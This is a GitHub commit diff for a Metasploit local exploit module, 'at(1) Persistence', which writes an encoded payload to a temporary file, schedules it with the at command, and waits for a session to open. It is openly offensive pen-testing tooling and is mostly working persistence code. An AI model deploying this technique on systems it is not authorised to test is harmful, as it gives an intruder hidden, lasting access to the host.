Skip to content

Commit 15e44e2

Browse files
committed
Fix cmd execution; use and cleanup temporary files
1 parent 972db47 commit 15e44e2

File tree

1 file changed

+23
-4
lines changed

1 file changed

+23
-4
lines changed

modules/exploits/multi/local/at_persistence.rb

Lines changed: 23 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ def initialize(info = {})
1616
info,
1717
'Name' => 'at(1) Persistence',
1818
'Description' => %q(
19+
This module achieves persisience by executing payloads via at(1).
1920
),
2021
'License' => MSF_LICENSE,
2122
'Author' =>
@@ -42,7 +43,13 @@ def initialize(info = {})
4243
register_options(
4344
[
4445
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted', 'now + 1 minute']),
45-
OptBool.new('CLEANUP', [true, 'Delete at entry and payload after execution', true])
46+
OptBool.new('CLEANUP', [true, 'Delete payload after execution', true])
47+
]
48+
)
49+
50+
register_advanced_options(
51+
[
52+
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp'])
4653
]
4754
)
4855
end
@@ -56,14 +63,26 @@ def check
5663
end
5764
end
5865

66+
def cmd_exec(cmd)
67+
super("PATH=/bin:/usr/bin:/usr/local/bin #{cmd}")
68+
end
69+
5970
def exploit
6071
unless check == Exploit::CheckCode::Vulnerable
6172
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
6273
end
6374

64-
write_file("/tmp/test.sh", payload.encoded)
65-
cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}")
75+
unless payload_file = datastore['PATH'] || cmd_exec('mktemp')
76+
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
77+
end
78+
79+
write_file(payload_file, payload.encoded)
80+
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
81+
register_files_for_cleanup(payload_file) if datastore['CLEANUP']
6682
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
67-
Rex.sleep(datastore['WfsDelay'].to_i)
83+
0.upto(datastore['WfsDelay'].to_i) do
84+
Rex.sleep(1)
85+
break if session_created?
86+
end
6887
end
6988
end

0 commit comments

Comments
 (0)